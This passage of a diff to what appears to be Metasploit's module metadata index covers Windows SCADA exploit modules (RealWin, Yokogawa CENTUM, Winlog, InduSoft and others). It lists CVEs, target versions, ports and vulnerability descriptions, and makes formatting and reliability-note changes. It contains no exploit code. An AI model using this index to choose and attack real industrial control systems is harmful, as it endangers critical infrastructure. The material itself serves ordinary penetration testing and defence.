"2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/igss_exec_17.rb", "is_install_path": true, "ref_name": "windows/scada/igss_exec_17", @@ -192672,6 +197977,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -192679,9 +197993,7 @@ "exploit_windows/scada/indusoft_webstudio_exec": { "name": "InduSoft Web Studio Arbitrary Upload Remote Code Execution", "fullname": "exploit/windows/scada/indusoft_webstudio_exec", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-11-04", "type": "exploit", @@ -192689,7 +198001,7 @@ "Luigi Auriemma", "juan vazquez " ], - "description": "This module exploits a lack of authentication and authorization on the InduSoft\n Web Studio Remote Agent, that allows a remote attacker to write arbitrary files to\n the filesystem, by abusing the functions provided by the software.\n\n The module uses the Windows Management Instrumentation service to execute an\n arbitrary payload on vulnerable installations of InduSoft Web Studio on Windows pre\n Vista. It has been successfully tested on InduSoft Web Studio 6.1 SP6 over Windows\n XP SP3 and Windows 2003 SP2.", + "description": "This module exploits a lack of authentication and authorization on the InduSoft\n Web Studio Remote Agent, that allows a remote attacker to write arbitrary files to\n the filesystem, by abusing the functions provided by the software.\n\n The module uses the Windows Management Instrumentation service to execute an\n arbitrary payload on vulnerable installations of InduSoft Web Studio on Windows pre\n Vista. It has been successfully tested on InduSoft Web Studio 6.1 SP6 over Windows\n XP SP3 and Windows 2003 SP2.", "references": [ "CVE-2011-4051", "OSVDB-77179", @@ -192699,16 +198011,12 @@ "platform": "Windows", "arch": "", "rport": 4322, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP / 2003" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/indusoft_webstudio_exec.rb", "is_install_path": true, "ref_name": "windows/scada/indusoft_webstudio_exec", @@ -192716,6 +198024,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -192723,9 +198040,7 @@ "exploit_windows/scada/moxa_mdmtool": { "name": "MOXA Device Manager Tool 2.1 Buffer Overflow", "fullname": "exploit/windows/scada/moxa_mdmtool", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-10-20", "type": "exploit", @@ -192733,7 +198048,7 @@ "Ruben Santamarta", "MC " ], - "description": "This module exploits a stack buffer overflow in MOXA MDM Tool 2.1.\n When sending a specially crafted MDMGw (MDM2_Gateway) response, an\n attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in MOXA MDM Tool 2.1.\n When sending a specially crafted MDMGw (MDM2_Gateway) response, an\n attacker may be able to execute arbitrary code.", "references": [ "CVE-2010-4741", "OSVDB-69027", @@ -192743,16 +198058,12 @@ "platform": "Windows", "arch": "", "rport": null, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "MOXA MDM Tool 2.1" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/moxa_mdmtool.rb", "is_install_path": true, "ref_name": "windows/scada/moxa_mdmtool", @@ -192760,6 +198071,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -192767,9 +198087,7 @@ "exploit_windows/scada/mypro_cmdexe": { "name": "mySCADA MyPRO Authenticated Command Injection (CVE-2023-28384)", "fullname": "exploit/windows/scada/mypro_cmdexe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2022-09-22", "type": "exploit", @@ -192826,9 +198144,7 @@ "exploit_windows/scada/mypro_mgr_cmd": { "name": "mySCADA myPRO Manager Unauthenticated Command Injection (CVE-2024-47407)", "fullname": "exploit/windows/scada/mypro_mgr_cmd", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2024-11-21", "type": "exploit", @@ -192861,7 +198177,7 @@ "targets": [ "Windows_Fetch" ], - "mod_time": "2025-01-29 20:18:05 +0000", + "mod_time": "2025-06-23 19:38:36 +0000", "path": "/modules/exploits/windows/scada/mypro_mgr_cmd.rb", "is_install_path": true, "ref_name": "windows/scada/mypro_mgr_cmd", @@ -192885,9 +198201,7 @@ "exploit_windows/scada/procyon_core_server": { "name": "Procyon Core Server HMI Coreservice.exe Stack Buffer Overflow", "fullname": "exploit/windows/scada/procyon_core_server", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2011-09-08", "type": "exploit", @@ -192895,7 +198209,7 @@ "Knud Hojgaard ", "mr_me " ], - "description": "This module exploits a vulnerability in the coreservice.exe component of Proycon\n Core Server <= v1.13. While processing a password, the application\n fails to do proper bounds checking before copying data into a small buffer on the stack.\n This causes a buffer overflow and allows to overwrite a structured exception handling\n record on the stack, allowing for unauthenticated remote code execution. Also, after the\n payload exits, Coreservice.exe should automatically recover.", + "description": "This module exploits a vulnerability in the coreservice.exe component of Proycon\n Core Server <= v1.13. While processing a password, the application\n fails to do proper bounds checking before copying data into a small buffer on the stack.\n This causes a buffer overflow and allows to overwrite a structured exception handling\n record on the stack, allowing for unauthenticated remote code execution. Also, after the\n payload exits, Coreservice.exe should automatically recover.", "references": [ "CVE-2011-3322", "OSVDB-75371", @@ -192904,16 +198218,12 @@ "platform": "Windows", "arch": "", "rport": 23, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows XP SP3 - No dep bypass" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/procyon_core_server.rb", "is_install_path": true, "ref_name": "windows/scada/procyon_core_server", @@ -192921,6 +198231,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -192928,16 +198247,14 @@ "exploit_windows/scada/realwin": { "name": "DATAC RealWin SCADA Server Buffer Overflow", "fullname": "exploit/windows/scada/realwin", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2008-09-26", "type": "exploit", "author": [ "MC " ], - "description": "This module exploits a stack buffer overflow in DATAC Control\n International RealWin SCADA Server 2.0 (Build 6.0.10.37).\n By sending a specially crafted FC_INFOTAG/SET_CONTROL packet,\n an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in DATAC Control\n International RealWin SCADA Server 2.0 (Build 6.0.10.37).\n By sending a specially crafted FC_INFOTAG/SET_CONTROL packet,\n an attacker may be able to execute arbitrary code.", "references": [ "CVE-2008-4322", "OSVDB-48606", @@ -192946,16 +198263,12 @@ "platform": "Windows", "arch": "", "rport": 910, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/realwin.rb", "is_install_path": true, "ref_name": "windows/scada/realwin", @@ -192963,6 +198276,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -192970,9 +198292,7 @@ "exploit_windows/scada/realwin_on_fc_binfile_a": { "name": "DATAC RealWin SCADA Server 2 On_FC_CONNECT_FCS_a_FILE Buffer Overflow", "fullname": "exploit/windows/scada/realwin_on_fc_binfile_a", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2011-03-21", "type": "exploit", @@ -192980,7 +198300,7 @@ "Luigi Auriemma", "MC " ], - "description": "This module exploits a vulnerability found in DATAC Control International RealWin\n SCADA Server 2.1 and below. By supplying a specially crafted On_FC_BINFILE_FCS_*FILE\n packet via port 910, RealWin will try to create a file (which would be saved to\n C:\\Program Files\\DATAC\\Real Win\\RW-version\\filename) by first copying the user-\n supplied filename with an inline memcpy routine without proper bounds checking, which\n results a stack-based buffer overflow, allowing arbitrary remote code execution.\n\n Tested version: 2.0 (Build 6.1.8.10)", + "description": "This module exploits a vulnerability found in DATAC Control International RealWin\n SCADA Server 2.1 and below. By supplying a specially crafted On_FC_BINFILE_FCS_*FILE\n packet via port 910, RealWin will try to create a file (which would be saved to\n C:\\Program Files\\DATAC\\Real Win\\RW-version\\filename) by first copying the user-\n supplied filename with an inline memcpy routine without proper bounds checking, which\n results a stack-based buffer overflow, allowing arbitrary remote code execution.\n\n Tested version: 2.0 (Build 6.1.8.10)", "references": [ "CVE-2011-1563", "OSVDB-72826", @@ -192991,16 +198311,12 @@ "platform": "Windows", "arch": "", "rport": 910, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/realwin_on_fc_binfile_a.rb", "is_install_path": true, "ref_name": "windows/scada/realwin_on_fc_binfile_a", @@ -193008,6 +198324,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -193015,9 +198340,7 @@ "exploit_windows/scada/realwin_on_fcs_login": { "name": "RealWin SCADA Server DATAC Login Buffer Overflow", "fullname": "exploit/windows/scada/realwin_on_fcs_login", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2011-03-21", "type": "exploit", @@ -193026,7 +198349,7 @@ "MC ", "B|H " ], - "description": "This module exploits a stack buffer overflow in DATAC Control\n International RealWin SCADA Server 2.1 (Build 6.0.10.10) or\n earlier. By sending a specially crafted On_FC_CONNECT_FCS_LOGIN\n packet containing a long username, an attacker may be able to\n execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in DATAC Control\n International RealWin SCADA Server 2.1 (Build 6.0.10.10) or\n earlier. By sending a specially crafted On_FC_CONNECT_FCS_LOGIN\n packet containing a long username, an attacker may be able to\n execute arbitrary code.", "references": [ "CVE-2011-1563", "OSVDB-72824", @@ -193037,16 +198360,12 @@ "platform": "Windows", "arch": "", "rport": 910, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/realwin_on_fcs_login.rb", "is_install_path": true, "ref_name": "windows/scada/realwin_on_fcs_login", @@ -193054,6 +198373,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -193061,9 +198389,7 @@ "exploit_windows/scada/realwin_scpc_initialize": { "name": "DATAC RealWin SCADA Server SCPC_INITIALIZE Buffer Overflow", "fullname": "exploit/windows/scada/realwin_scpc_initialize", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-10-15", "type": "exploit", @@ -193071,7 +198397,7 @@ "Luigi Auriemma", "MC " ], - "description": "This module exploits a stack buffer overflow in DATAC Control\n International RealWin SCADA Server 2.0 (Build 6.1.8.10).\n By sending a specially crafted packet, an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in DATAC Control\n International RealWin SCADA Server 2.0 (Build 6.1.8.10).\n By sending a specially crafted packet, an attacker may be able to execute arbitrary code.", "references": [ "OSVDB-68812", "CVE-2010-4142", @@ -193081,16 +198407,12 @@ "platform": "Windows", "arch": "", "rport": 912, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/realwin_scpc_initialize.rb", "is_install_path": true, "ref_name": "windows/scada/realwin_scpc_initialize", @@ -193098,6 +198420,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -193105,9 +198436,7 @@ "exploit_windows/scada/realwin_scpc_initialize_rf": { "name": "DATAC RealWin SCADA Server SCPC_INITIALIZE_RF Buffer Overflow", "fullname": "exploit/windows/scada/realwin_scpc_initialize_rf", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-10-15", "type": "exploit", @@ -193115,7 +198444,7 @@ "Luigi Auriemma", "MC " ], - "description": "This module exploits a stack buffer overflow in DATAC Control\n International RealWin SCADA Server 2.0 (Build 6.1.8.10).\n By sending a specially crafted packet, an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in DATAC Control\n International RealWin SCADA Server 2.0 (Build 6.1.8.10).\n By sending a specially crafted packet, an attacker may be able to execute arbitrary code.", "references": [ "OSVDB-68812", "CVE-2010-4142", @@ -193125,16 +198454,12 @@ "platform": "Windows", "arch": "", "rport": 912, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/realwin_scpc_initialize_rf.rb", "is_install_path": true, "ref_name": "windows/scada/realwin_scpc_initialize_rf", @@ -193142,6 +198467,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -193149,9 +198483,7 @@ "exploit_windows/scada/realwin_scpc_txtevent": { "name": "DATAC RealWin SCADA Server SCPC_TXTEVENT Buffer Overflow", "fullname": "exploit/windows/scada/realwin_scpc_txtevent", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2010-11-18", "type": "exploit", @@ -193159,7 +198491,7 @@ "Luigi Auriemma", "MC " ], - "description": "This module exploits a stack buffer overflow in DATAC Control\n International RealWin SCADA Server 2.0 (Build 6.1.8.10).\n By sending a specially crafted packet,\n an attacker may be able to execute arbitrary code.", + "description": "This module exploits a stack buffer overflow in DATAC Control\n International RealWin SCADA Server 2.0 (Build 6.1.8.10).\n By sending a specially crafted packet,\n an attacker may be able to execute arbitrary code.", "references": [ "CVE-2010-4142", "OSVDB-68812" @@ -193167,16 +198499,12 @@ "platform": "Windows", "arch": "", "rport": 912, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Universal" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/realwin_scpc_txtevent.rb", "is_install_path": true, "ref_name": "windows/scada/realwin_scpc_txtevent", @@ -193184,6 +198512,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -193191,9 +198528,7 @@ "exploit_windows/scada/rockwell_factorytalk_rce": { "name": "Rockwell FactoryTalk View SE SCADA Unauthenticated Remote Code Execution", "fullname": "exploit/windows/scada/rockwell_factorytalk_rce", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2020-06-22", "type": "exploit", @@ -193259,9 +198594,7 @@ "exploit_windows/scada/scadapro_cmdexe": { "name": "Measuresoft ScadaPro Remote Command Execution", "fullname": "exploit/windows/scada/scadapro_cmdexe", - "aliases": [ - - ], + "aliases": [], "rank": 600, "disclosure_date": "2011-09-16", "type": "exploit", @@ -193270,7 +198603,7 @@ "mr_me ", "TecR0c " ], - "description": "This module allows remote attackers to execute arbitrary commands on the\n affected system by abusing via Directory Traversal attack when using the\n 'xf' command (execute function). An attacker can execute system() from\n msvcrt.dll to upload a backdoor and gain remote code execution. This\n vulnerability affects version 4.0.0 and earlier.", + "description": "This module allows remote attackers to execute arbitrary commands on the\n affected system by abusing via Directory Traversal attack when using the\n 'xf' command (execute function). An attacker can execute system() from\n msvcrt.dll to upload a backdoor and gain remote code execution. This\n vulnerability affects version 4.0.0 and earlier.", "references": [ "CVE-2011-3497", "OSVDB-75490", @@ -193282,16 +198615,12 @@ "platform": "Windows", "arch": "", "rport": 11234, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Automatic" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/scadapro_cmdexe.rb", "is_install_path": true, "ref_name": "windows/scada/scadapro_cmdexe", @@ -193299,6 +198628,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -193306,9 +198644,7 @@ "exploit_windows/scada/sunway_force_control_netdbsrv": { "name": "Sunway Forcecontrol SNMP NetDBServer.exe Opcode 0x57", "fullname": "exploit/windows/scada/sunway_force_control_netdbsrv", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2011-09-22", "type": "exploit", @@ -193317,25 +198653,23 @@ "Rinat Ziyayev", "James Fitts " ], - "description": "This module exploits a stack based buffer overflow found in the SNMP\n NetDBServer service of Sunway Forcecontrol <= 6.1 sp3. The overflow is\n triggered when sending an overly long string to the listening service\n on port 2001.", + "description": "This module exploits a stack based buffer overflow found in the SNMP\n NetDBServer service of Sunway Forcecontrol <= 6.1 sp3. The overflow is\n triggered when sending an overly long string to the listening service\n on port 2001.", "references": [ "OSVDB-75798", "BID-49747", - "URL-http://aluigi.altervista.org/adv/forcecontrol_1-adv.txt" + "URL-http://aluigi.altervista.org/adv/forcecontrol_1-adv.txt", + "ATT&CK-T1059", + "ATT&CK-T1068" ], "platform": "Windows", "arch": "", "rport": 2001, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Windows" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-06 12:39:33 +0000", "path": "/modules/exploits/windows/scada/sunway_force_control_netdbsrv.rb", "is_install_path": true, "ref_name": "windows/scada/sunway_force_control_netdbsrv", @@ -193343,6 +198677,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -193350,9 +198693,7 @@ "exploit_windows/scada/winlog_runtime": { "name": "Sielco Sistemi Winlog Buffer Overflow", "fullname": "exploit/windows/scada/winlog_runtime", - "aliases": [ - - ], + "aliases": [], "rank": 500, "disclosure_date": "2011-01-13", "type": "exploit", @@ -193360,7 +198701,7 @@ "Luigi Auriemma", "MC " ], - "description": "This module exploits a buffer overflow in Sielco\n Sistem Winlog <= 2.07.00. When sending a specially formatted\n packet to the Runtime.exe service, an attacker may be able to\n execute arbitrary code.", + "description": "This module exploits a buffer overflow in Sielco\n Sistem Winlog <= 2.07.00. When sending a specially formatted\n packet to the Runtime.exe service, an attacker may be able to\n execute arbitrary code.", "references": [ "CVE-2011-0517", "OSVDB-70418", @@ -193370,16 +198711,12 @@ "platform": "Windows", "arch": "", "rport": 46823, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Winlog Lite 2.07.00" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/winlog_runtime.rb", "is_install_path": true, "ref_name": "windows/scada/winlog_runtime", @@ -193387,6 +198724,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -193394,16 +198740,14 @@ "exploit_windows/scada/winlog_runtime_2": { "name": "Sielco Sistemi Winlog Buffer Overflow 2.07.14 - 2.07.16", "fullname": "exploit/windows/scada/winlog_runtime_2", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2012-06-04", "type": "exploit", "author": [ "Michael Messner " ], - "description": "This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.16.\n When sending a specially formatted packet to the Runtime.exe service on port 46824,\n an attacker may be able to execute arbitrary code.", + "description": "This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.16.\n When sending a specially formatted packet to the Runtime.exe service on port 46824,\n an attacker may be able to execute arbitrary code.", "references": [ "BID-53811", "CVE-2012-3815", @@ -193415,17 +198759,13 @@ "platform": "Windows", "arch": "", "rport": 46824, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Sielco Sistemi Winlog 2.07.14/2.07.16 - Ceramics Kiln Project", "Sielco Sistemi Winlog 2.07.14 - Automatic Washing System Project" ], - "mod_time": "2020-10-02 17:38:06 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/winlog_runtime_2.rb", "is_install_path": true, "ref_name": "windows/scada/winlog_runtime_2", @@ -193433,6 +198773,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -193440,9 +198789,7 @@ "exploit_windows/scada/yokogawa_bkbcopyd_bof": { "name": "Yokogawa CENTUM CS 3000 BKBCopyD.exe Buffer Overflow", "fullname": "exploit/windows/scada/yokogawa_bkbcopyd_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-03-10", "type": "exploit", @@ -193450,7 +198797,7 @@ "juan vazquez ", "Redsadic " ], - "description": "This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability\n exists in the service BKBCopyD.exe when handling specially crafted packets. This module has\n been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3.", + "description": "This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability\n exists in the service BKBCopyD.exe when handling specially crafted packets. This module has\n been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3.", "references": [ "URL-http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf", "URL-https://www.rapid7.com/blog/post/2014/03/10/yokogawa-centum-cs3000-vulnerabilities", @@ -193459,16 +198806,12 @@ "platform": "Windows", "arch": "", "rport": 20111, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Yokogawa CENTUM CS 3000 R3.08.50 / Windows XP SP3" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/yokogawa_bkbcopyd_bof.rb", "is_install_path": true, "ref_name": "windows/scada/yokogawa_bkbcopyd_bof", @@ -193476,6 +198819,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -193483,9 +198835,7 @@ "exploit_windows/scada/yokogawa_bkesimmgr_bof": { "name": "Yokogawa CS3000 BKESimmgr.exe Buffer Overflow", "fullname": "exploit/windows/scada/yokogawa_bkesimmgr_bof", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-03-10", "type": "exploit", @@ -193493,7 +198843,7 @@ "juan vazquez ", "Redsadic " ], - "description": "This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability\n exists in the BKESimmgr.exe service when handling specially crafted packets, due to an\n insecure usage of memcpy, using attacker controlled data as the size count. This module\n has been tested successfully in Yokogawa CS3000 R3.08.50 over Windows XP SP3 and Windows\n 2003 SP2.", + "description": "This module exploits an stack based buffer overflow on Yokogawa CS3000. The vulnerability\n exists in the BKESimmgr.exe service when handling specially crafted packets, due to an\n insecure usage of memcpy, using attacker controlled data as the size count. This module\n has been tested successfully in Yokogawa CS3000 R3.08.50 over Windows XP SP3 and Windows\n 2003 SP2.", "references": [ "CVE-2014-0782", "URL-https://www.rapid7.com/blog/post/2014/05/09/r7-2013-192-disclosure-yokogawa-centum-cs-3000-vulnerabilities", @@ -193502,16 +198852,12 @@ "platform": "Windows", "arch": "", "rport": 34205, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Yokogawa Centum CS3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ]" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/yokogawa_bkesimmgr_bof.rb", "is_install_path": true, "ref_name": "windows/scada/yokogawa_bkesimmgr_bof", @@ -193519,6 +198865,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -193526,9 +198881,7 @@ "exploit_windows/scada/yokogawa_bkfsim_vhfd": { "name": "Yokogawa CS3000 BKFSim_vhfd.exe Buffer Overflow", "fullname": "exploit/windows/scada/yokogawa_bkfsim_vhfd", - "aliases": [ - - ], + "aliases": [], "rank": 300, "disclosure_date": "2014-05-23", "type": "exploit", @@ -193536,7 +198889,7 @@ "Redsadic ", "juan vazquez " ], - "description": "This module exploits a stack based buffer overflow on Yokogawa CS3000. The vulnerability\n exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create\n logs using functions like vsprintf and memcpy in an insecure way. This module has been\n tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3.", + "description": "This module exploits a stack based buffer overflow on Yokogawa CS3000. The vulnerability\n exists in the service BKFSim_vhfd.exe when using malicious user-controlled data to create\n logs using functions like vsprintf and memcpy in an insecure way. This module has been\n tested successfully on Yokogawa Centum CS3000 R3.08.50 over Windows XP SP3.", "references": [ "CVE-2014-3888", "URL-http://jvn.jp/vu/JVNVU95045914/index.html", @@ -193546,16 +198899,12 @@ "platform": "Windows", "arch": "", "rport": 20010, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Yokogawa Centum CS3000 R3.08.50 / Windows XP SP3" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": "/modules/exploits/windows/scada/yokogawa_bkfsim_vhfd.rb", "is_install_path": true, "ref_name": "windows/scada/yokogawa_bkfsim_vhfd", @@ -193563,6 +198912,15 @@ "post_auth": false, "default_credential": false, "notes": { + "Reliability": [ + "unknown-reliability" + ], + "Stability": [ + "unknown-stability" + ], + "SideEffects": [ + "unknown-side-effects" + ] }, "session_types": false, "needs_cleanup": null @@ -193570,9 +198928,7 @@ "exploit_windows/scada/yokogawa_bkhodeq_bof": { "name": "Yokogawa CENTUM CS 3000 BKHOdeq.exe Buffer Overflow", "fullname": "exploit/windows/scada/yokogawa_bkhodeq_bof", - "aliases": [ - - ], + "aliases": [], "rank": 200, "disclosure_date": "2014-03-10", "type": "exploit", @@ -193580,7 +198936,7 @@ "juan vazquez ", "Redsadic " ], - "description": "This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability\n exists in the service BKHOdeq.exe when handling specially crafted packets. This module has\n been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3 and Windows\n 2003 SP2.", + "description": "This module exploits a stack based buffer overflow in Yokogawa CENTUM CS 3000. The vulnerability\n exists in the service BKHOdeq.exe when handling specially crafted packets. This module has\n been tested successfully on Yokogawa CENTUM CS 3000 R3.08.50 over Windows XP SP3 and Windows\n 2003 SP2.", "references": [ "URL-http://www.yokogawa.com/dcs/security/ysar/YSAR-14-0001E.pdf", "URL-https://www.rapid7.com/blog/post/2014/03/10/yokogawa-centum-cs3000-vulnerabilities", @@ -193589,16 +198945,12 @@ "platform": "Windows", "arch": "", "rport": 20171, - "autofilter_ports": [ - - ], - "autofilter_services": [ - - ], + "autofilter_ports": [], + "autofilter_services": [], "targets": [ "Yokogawa CENTUM CS 3000 R3.08.50 / Windows [ XP SP3 / 2003 SP2 ]" ], - "mod_time": "2022-01-23 15:28:32 +0000", + "mod_time": "2025-06-23 12:43:46 +0000", "path": 